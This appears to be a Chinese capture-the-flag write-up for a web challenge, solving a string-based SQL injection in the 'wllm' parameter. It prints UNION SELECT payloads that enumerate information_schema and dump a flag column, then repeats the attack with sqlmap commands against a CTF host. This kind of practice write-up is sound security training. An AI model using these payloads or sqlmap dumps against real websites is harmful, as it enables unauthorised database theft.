打开题目,直接查看源代码给了提示注入点是wllm
?然后得到了name和password
?输入1' 报错,说明注入点是字符型注入
输到4的时候报错了
说明列名字段数为3
爆破数据显示位为2,3
我们直接爆破数据库名
我们知道数据库名为test_db
爆破表名
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db" --+
我们知道表名有test_tb和users
我们选择test_tb进行爆破
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="test_tb" --+
看见有id和flag两个字段
我们直接爆破数据
?wllm=-1' union select 1,2,flag from test_tb --+
得到flag
同样这道题也可以用sqlmap跑一下看看
sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1%27" --dbs
得到数据库名
sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1%27" -D test_db --tables
得到所有表名
sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1%27" -D test_db -T test_tb --columns
得到所有列名
sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1%27" -D test_db -T test_tb -C flag --dump
得到flag
sqlmap的使用见: